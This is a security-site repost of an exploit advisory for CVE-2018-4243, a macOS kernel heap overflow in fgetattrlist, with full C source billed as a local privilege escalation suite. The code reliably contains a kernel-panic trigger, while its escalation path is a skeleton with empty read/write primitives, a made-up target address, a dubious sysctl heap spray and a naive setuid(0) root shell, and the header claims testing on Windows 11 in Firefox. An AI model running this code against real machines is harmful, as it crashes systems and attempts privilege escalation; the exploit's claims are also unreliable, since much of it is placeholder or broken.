Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

macOS 10.13.4 (17E199) fgetattrlist Heap Overflow
macOS 10.13.4 (17E199) fgetattrlist Heap Overflow
macOS 10.13.4 (17E199) fgetattrlist Heap Overflow

=============================================================================================================================================
| # Title macOS 10.13.4 (17E199) fgetattrlist Heap Overflow

=============================================================================================================================================
| # Title : macOS 10.13.4 (17E199) fgetattrlist Local Privilege Escalation via fgetattrlist heap overflow (XNU kernel) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://apple.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212496/ & CVE-2018-4243

[+] Summary : CVE-2018-4243 is a critical kernel heap overflow vulnerability in macOS and iOS affecting the fgetattrlist system call.
The vulnerability allows local attackers to trigger kernel heap corruption, potentially leading to kernel panic, privilege escalation, or arbitrary code execution.
[+] POC :

/*
* macOS CVE-2018-4243 LPE Exploit
* Local Privilege Escalation via fgetattrlist heap overflow
* by indoushka
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <mach/mach.h>
#include <string.h>
#include <pthread.h>
#include <errno.h>

#define MAX_FDS 1000
#define SPRAY_COUNT 50000
#define TARGET_SIZE 192 // Size for controlled heap spraying

// Structure for fake object in kernel
typedef struct {
uint64_t next;
uint64_t prev;
uint64_t some_func_ptr;
char padding[32];
} fake_kobj_t;

// Global variables
int g_fds[MAX_FDS];
int g_fd_count = 0;
pthread_t spray_thread;

// Kernel read primitive (placeholder - needs specific offset)
uint64_t kernel_read_primitive(uint64_t addr) {
// This would require specific kernel info leak
// For PoC, we return dummy value
return 0;
}

// Kernel write primitive via heap overflow
void kernel_write_primitive(void* target, void* data, size_t size) {
// This is where the actual overflow happens
// We would craft specific heap layout
}

// Spray kernel heap with controlled objects
void* heap_spray_thread(void* arg) {
printf("[+] Starting heap spray thread\n");

char* spray_data = malloc(TARGET_SIZE);
if (!spray_data) {
printf("[-] Failed to allocate spray data\n");
return NULL;
}

// Craft fake object with function pointer we want to hijack
fake_kobj_t fake_obj = {0};
fake_obj.next = 0x4141414141414141;
fake_obj.prev = 0x4242424242424242;
// Target: cred structure or file operations pointer

for (int i = 0; i < SPRAY_COUNT; i++) {
// Use sysctl for heap spraying (common technique)
char name[32];
snprintf(name, sizeof(name), "kern.spray.%d", i);

int mib[3];
size_t mib_len = 3;

if (sysctlnametomib(name, mib, &mib_len) == 0) {
sysctl(mib, mib_len, NULL, 0, spray_data, TARGET_SIZE);
}

if (i % 1000 == 0) {
printf("[.] Sprayed %d objects\n", i);
}
}

free(spray_data);
return NULL;
}

// Trigger the overflow with controlled data
int trigger_overflow(int fd, void* overflow_data, size_t data_size) {
struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.volattr = 0xfff;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;

// Use small buffer to cause overflow
size_t buf_size = 16;

// Prepare buffer with crafted data
void* buffer = malloc(buf_size);
if (!buffer) return -1;

// Copy overflow payload to beginning of buffer
// Kernel will write 36 bytes from offset 4
memcpy(buffer, overflow_data, buf_size);

int result = fgetattrlist(fd, &al, buffer, buf_size, 0);

free(buffer);
return result;
}

// Open multiple file descriptors for heap manipulation
void setup_file_descriptors() {
printf("[+] Setting up file descriptors for heap feng shui\n");

for (int i = 0; i < MAX_FDS; i++) {
g_fds[i] = open("/", O_RDONLY);
if (g_fds[i] < 0) {
g_fd_count = i;
break;
}
}
printf("[+] Opened %d file descriptors\n", g_fd_count);
}

// Close all file descriptors
void cleanup_file_descriptors() {
for (int i = 0; i < g_fd_count; i++) {
if (g_fds[i] >= 0) {
close(g_fds[i]);
}
}
}

// Attempt to get root privileges
void get_root_shell() {
printf("[+] Attempting to get root shell\n");

// Method 1: Direct setuid(0)
if (setuid(0) == 0) {
printf("[+] Success! Got root via setuid(0)\n");
} else {
printf("[-] setuid(0) failed: %s\n", strerror(errno));
}

// Check current privileges
if (getuid() == 0) {
printf("[+] WE ARE ROOT! UID: %d\n", getuid());
printf("[+] Spawning root shell...\n");

// Launch root shell
system("/bin/bash");
} else {
printf("[-] Still not root. UID: %d\n", getuid());
printf("[-] Exploit failed or needs more work\n");
}
}

// Main exploit logic
void exploit() {
printf("[*] macOS CVE-2018-4243 LPE Exploit\n");
printf("[*] Attempting local privilege escalation\n\n");

// Phase 1: Heap grooming
printf("[*] Phase 1: Heap grooming\n");
setup_file_descriptors();

// Start heap spray thread
if (pthread_create(&spray_thread, NULL, heap_spray_thread, NULL) != 0) {
printf("[-] Failed to create spray thread\n");
return;
}

// Phase 2: Prepare overflow payload
printf("\n[*] Phase 2: Preparing overflow payload\n");

// Craft payload to overwrite critical kernel structure
// This would typically target:
// 1. File operation pointers
// 2. Credential structures (cred)
// 3. VTable pointers

char payload[192] = {0};

// Example: Try to overwrite a function pointer
// Placeholder for actual exploit payload
uint64_t target_addr = 0xffffffff12345678; // Hypothetical address

// Fill payload with target address at specific offset
for (int i = 0; i < sizeof(payload)/8; i++) {
((uint64_t*)payload)[i] = target_addr;
}

// Phase 3: Trigger overflow
printf("\n[*] Phase 3: Triggering controlled overflow\n");

// Use one of our file descriptors
if (g_fd_count > 0) {
printf("[+] Triggering overflow on FD %d\n", g_fds[0]);

// Wait for spray thread to set up heap
sleep(1);

int result = trigger_overflow(g_fds[0], payload, sizeof(payload));
printf("[+] Overflow triggered, result: %d\n", result);
}

// Wait for spray thread
pthread_join(spray_thread, NULL);

// Phase 4: Attempt privilege escalation
printf("\n[*] Phase 4: Attempting privilege escalation\n");

// Try multiple escalation techniques

// Technique 1: Direct kernel object manipulation
printf("[+] Attempting kernel object corruption\n");

// Technique 2: Try to execute privileged operations
printf("[+] Testing current privileges\n");
system("id");

// Try to get root
get_root_shell();

// Cleanup
cleanup_file_descriptors();

printf("\n[*] Exploit completed\n");
}

// Fallback: Simple panic if LPE fails
void panic_if_root_failed() {
printf("[*] LPE failed, triggering kernel panic instead\n");

int fd = open("/", O_RDONLY);
if (fd < 0) return;

struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;

// Use extremely small buffer to maximize panic chance
size_t buf_size = 4;
void* buffer = malloc(buf_size);

if (buffer) {
printf("[!] Triggering kernel panic...\n");
fgetattrlist(fd, &al, buffer, buf_size, 0);
free(buffer);
}

close(fd);
}

int main(int argc, char** argv) {
printf("[*] ========================================\n");
printf("[*] macOS CVE-2018-4243 Exploit Suite\n");
printf("[*] ========================================\n\n");

int choice = 1; // Default to LPE attempt

if (argc > 1) {
choice = atoi(argv[1]);
}

switch(choice) {
case 1:
printf("[*] Mode: Local Privilege Escalation Attempt\n");
exploit();
break;

case 2:
printf("[*] Mode: Kernel Panic (Proof of Concept)\n");
{
int fd = open("/", O_RDONLY);
struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;

size_t buf_size = 8;
void* buf = malloc(buf_size);

printf("[!] Triggering panic in 3 seconds...\n");
sleep(3);

fgetattrlist(fd, &al, buf, buf_size, 0);
free(buf);
close(fd);
}
break;

default:
printf("[!] Invalid mode\n");
printf("[!] Usage: %s [mode]\n", argv[0]);
printf("[!] Modes: 1=LPE attempt, 2=Kernel panic\n");
break;
}

return 0;
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share